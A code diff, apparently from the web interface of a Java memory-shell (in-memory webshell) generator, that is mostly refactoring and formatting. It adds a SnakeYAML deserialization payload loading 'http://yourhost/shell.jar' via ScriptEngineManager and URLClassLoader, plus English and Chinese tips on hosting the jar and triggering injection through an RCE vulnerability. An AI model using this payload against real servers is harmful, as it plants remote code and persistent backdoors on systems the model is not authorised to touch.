<li>{t("memshell:tips.download-jar")}</li>
|
||||||
|
<li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
|
||||||
|
<CodeViewer
|
||||||
|
code={`!!javax.script.ScriptEngineManager [
|
||||||
|
!!java.net.URLClassLoader [[
|
||||||
|
!!java.net.URL ["http://yourhost/shell.jar"]
|
||||||
|
]]
|
||||||
|
]`}
|
||||||
|
language="java"
|
||||||
|
showLineNumbers={false}
|
||||||
|
wrapLongLines={true}
|
||||||
|
header={<div className="text-xs">SnakeYaml Payload</div>}
|
||||||
|
/>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</ol>
|
||||||
|
</CardContent>
|
||||||
|
</Card>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,7 +18,7 @@ export function ResultComponent({
|
|||||||
}>) {
|
}>) {
|
||||||
const showCode = packMethod === "JSP";
|
const showCode = packMethod === "JSP";
|
||||||
const isAgent = packMethod.startsWith("Agent");
|
const isAgent = packMethod.startsWith("Agent");
|
||||||
const isJar = packMethod === "Jar";
|
const isJar = packMethod.endsWith("Jar");
|
||||||
const { t } = useTranslation();
|
const { t } = useTranslation();
|
||||||
if (allPackResults) {
|
if (allPackResults) {
|
||||||
return (
|
return (
|
||||||
@@ -29,7 +29,6 @@ export function ResultComponent({
|
|||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (isAgent) {
|
if (isAgent) {
|
||||||
return (
|
return (
|
||||||
<AgentResult
|
<AgentResult
|
||||||
@@ -42,12 +41,13 @@ export function ResultComponent({
|
|||||||
if (isJar) {
|
if (isJar) {
|
||||||
return (
|
return (
|
||||||
<JarResult
|
<JarResult
|
||||||
|
packMethod={packMethod}
|
||||||
packResult={packResult ?? ""}
|
packResult={packResult ?? ""}
|
||||||
generateResult={generateResult}
|
generateResult={generateResult}
|
||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
if (!isAgent && !isJar) {
|
|
||||||
return (
|
return (
|
||||||
<CodeViewer
|
<CodeViewer
|
||||||
code={packResult ?? ""}
|
code={packResult ?? ""}
|
||||||
@@ -56,9 +56,7 @@ export function ResultComponent({
|
|||||||
<span>
|
<span>
|
||||||
{t("common:packerMethod")}:{packMethod}
|
{t("common:packerMethod")}:{packMethod}
|
||||||
</span>
|
</span>
|
||||||
<span className="text-muted-foreground">
|
<span className="text-muted-foreground">({packResult?.length})</span>
|
||||||
({packResult?.length})
|
|
||||||
</span>
|
|
||||||
</div>
|
</div>
|
||||||
}
|
}
|
||||||
wrapLongLines={!showCode}
|
wrapLongLines={!showCode}
|
||||||
@@ -68,5 +66,3 @@ export function ResultComponent({
|
|||||||
/>
|
/>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -18,8 +18,7 @@ export function OptionalClassFormField({
|
|||||||
const initialShellClassName = form.getValues("shellClassName") ?? "";
|
const initialShellClassName = form.getValues("shellClassName") ?? "";
|
||||||
const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
|
const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
|
||||||
const [useRandomClassName, setUseRandomClassName] = useState(
|
const [useRandomClassName, setUseRandomClassName] = useState(
|
||||||
() =>
|
() => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
|
||||||
!(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
|
|
||||||
);
|
);
|
||||||
const [savedShellClassName, setSavedShellClassName] = useState(
|
const [savedShellClassName, setSavedShellClassName] = useState(
|
||||||
initialShellClassName,
|
initialShellClassName,
|
||||||
|
|||||||
@@ -209,7 +209,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
|||||||
const renderDynamicFields = useCallback(() => {
|
const renderDynamicFields = useCallback(() => {
|
||||||
const isBodyMethod = watchedProbeMethod === "ResponseBody";
|
const isBodyMethod = watchedProbeMethod === "ResponseBody";
|
||||||
const needParam =
|
const needParam =
|
||||||
watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine";
|
watchedProbeContent === "Command" ||
|
||||||
|
watchedProbeContent === "Bytecode" ||
|
||||||
|
watchedProbeContent === "ScriptEngine";
|
||||||
const isSleepMethod = watchedProbeMethod === "Sleep";
|
const isSleepMethod = watchedProbeMethod === "Sleep";
|
||||||
const isServerContent = watchedProbeContent === "Server";
|
const isServerContent = watchedProbeContent === "Server";
|
||||||
|
|
||||||
|
|||||||
@@ -54,5 +54,8 @@
|
|||||||
"tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello",
|
"tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello",
|
||||||
"tips.targetServerNotFound": "Target server not found?",
|
"tips.targetServerNotFound": "Target server not found?",
|
||||||
"tips.targetServerRequest": "Request",
|
"tips.targetServerRequest": "Request",
|
||||||
"tips.try-to-use-shell": "Try to use the memory shell"
|
"tips.try-to-use-shell": "Try to use the memory shell",
|
||||||
|
"tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download",
|
||||||
|
"tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection",
|
||||||
|
"tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -55,7 +55,7 @@
|
|||||||
"tips.targetServerNotFound": "找不到目标服务?",
|
"tips.targetServerNotFound": "找不到目标服务?",
|
||||||
"tips.targetServerRequest": "请求适配",
|
"tips.targetServerRequest": "请求适配",
|
||||||
"tips.try-to-use-shell": "尝试利用内存马",
|
"tips.try-to-use-shell": "尝试利用内存马",
|
||||||
"shellNotWork": {
|
"tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载",
|
||||||
"title": "利用失败?"
|
"tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入",
|
||||||
}
|
"tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -56,7 +56,7 @@ export default function ProbeShellGenerator() {
|
|||||||
seconds: 5,
|
seconds: 5,
|
||||||
sleepServer: "Tomcat",
|
sleepServer: "Tomcat",
|
||||||
shrink: true,
|
shrink: true,
|
||||||
staticInitialize: true
|
staticInitialize: true,
|
||||||
},
|
},
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@@ -152,7 +152,7 @@ export const probeShellFormSchema = yup.object().shape({
|
|||||||
debug: yup.boolean().optional(),
|
debug: yup.boolean().optional(),
|
||||||
byPassJavaModule: yup.boolean().optional(),
|
byPassJavaModule: yup.boolean().optional(),
|
||||||
shrink: yup.boolean().optional(),
|
shrink: yup.boolean().optional(),
|
||||||
staticInitialize: yup.boolean().optional()
|
staticInitialize: yup.boolean().optional(),
|
||||||
});
|
});
|
||||||
|
|
||||||
type ProbeValidationResult = ResolverResult<ProbeShellFormSchema>;
|
type ProbeValidationResult = ResolverResult<ProbeShellFormSchema>;
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ export function transformToPostData(formValue: MemShellFormSchema) {
|
|||||||
const injectorConfig: InjectorConfig = {
|
const injectorConfig: InjectorConfig = {
|
||||||
urlPattern: formValue.urlPattern,
|
urlPattern: formValue.urlPattern,
|
||||||
injectorClassName: formValue.injectorClassName,
|
injectorClassName: formValue.injectorClassName,
|
||||||
staticInitialize: formValue.staticInitialize
|
staticInitialize: formValue.staticInitialize,
|
||||||
};
|
};
|
||||||
return {
|
return {
|
||||||
shellConfig,
|
shellConfig,
|
||||||
@@ -55,7 +55,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) {
|
|||||||
shrink: formValue.shrink,
|
shrink: formValue.shrink,
|
||||||
debug: formValue.debug,
|
debug: formValue.debug,
|
||||||
byPassJavaModule: formValue.byPassJavaModule,
|
byPassJavaModule: formValue.byPassJavaModule,
|
||||||
staticInitialize: formValue.staticInitialize
|
staticInitialize: formValue.staticInitialize,
|
||||||
};
|
};
|
||||||
const probeContentConfig: ProbeContentConfig = {
|
const probeContentConfig: ProbeContentConfig = {
|
||||||
host: formValue.host,
|
host: formValue.host,
|
||||||
|
|||||||
Reference in New Issue
Block a user